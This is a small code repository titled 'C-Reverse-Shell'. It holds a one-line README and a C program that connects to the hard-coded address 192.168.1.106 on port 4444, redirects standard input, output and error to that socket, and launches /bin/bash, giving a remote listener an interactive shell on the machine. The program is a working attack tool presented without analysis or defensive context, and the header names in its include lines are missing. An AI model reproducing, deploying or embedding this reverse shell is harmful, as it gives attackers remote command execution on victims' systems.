├── README.md └── ReverseShell.c /README.md: -------------------------------------------------------------------------------- 1 | # C-Reverse-Shell 2 | A Simple C Reverse Shell 3 | -------------------------------------------------------------------------------- /ReverseShell.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | int main(void){ 10 | 11 | int sockt; 12 | int port = 4444; 13 | struct sockaddr_in revsockaddr; 14 | 15 | sockt = socket(AF_INET, SOCK_STREAM,0); 16 | revsockaddr.sin_family = AF_INET; 17 | revsockaddr.sin_port = htons(port); 18 | revsockaddr.sin_addr.s_addr = inet_addr("192.168.1.106"); 19 | 20 | connect(sockt, (struct sockaddr *) &revsockaddr, 21 | sizeof(revsockaddr)); 22 | dup2(sockt, 0); 23 | dup2(sockt, 1); 24 | dup2(sockt, 2); 25 | 26 | char * const argv[] = {"/bin/bash", NULL}; 27 | execve("/bin/bash", argv, NULL); 28 | 29 | return 0; 30 | 31 | } 32 | 33 | 34 | 35 | 36 | 37 | --------------------------------------------------------------------------------